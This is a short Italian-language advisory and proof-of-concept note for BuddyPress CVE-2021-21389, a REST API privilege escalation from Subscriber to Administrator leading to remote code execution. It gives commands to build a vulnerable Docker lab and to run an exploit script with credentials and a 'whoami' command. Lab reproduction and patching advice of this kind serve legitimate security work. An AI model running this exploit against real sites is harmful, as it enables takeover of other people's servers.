
BuddyPress è un plugin WordPress open source per creare un sito di community. Nelle versioni di BuddyPress dalla 5.0.0 fino alla 7.2.1 (esclusa), è possibile per un utente normale senza privilegi ottenere diritti di amministratore sfruttando un problema nell'endpoint members dell'API REST. La vulnerabilità è stata corretta in BuddyPress 7.2.1. Le installazioni esistenti del plugin dovrebbero essere aggiornate a questa versione per mitigare il problema.
BuddyPress < 7.2.1 - Escalation dei privilegi tramite REST API fino a RCE
PoC (Completo)
Versione interessata: dalla 5.0.0 alla 7.2.0
Requisito utente: utente Subscriber
Metodo: escalation dei privilegi ad Administrator e innesco di RCE tramite REST API
Endpoint: l'endpoint /v1/members/me.
git clone https://github.com/HoangKien1020/CVE-2021-21389
cd CVE-2021-21389/
docker build . -t hoangkien1020/buddypress:cve202121389
docker run -d --rm -it -p 8080:80 hoangkien1020/buddypress:cve202121389
Other way to pull this docker instead of building:
docker pull hoangkien1020/buddypress:cve202121389
docker run -d --rm -it -p 8080:80 hoangkien1020/buddypress:cve202121389
Access your host/IP
Ex: http://test.local:8080
python3 CVE-2021-21389.py http://test.local:8080 test 1234 whoami
Esempio:

https://buddypress.org/2021/03/buddypress-7-2-1-security-release/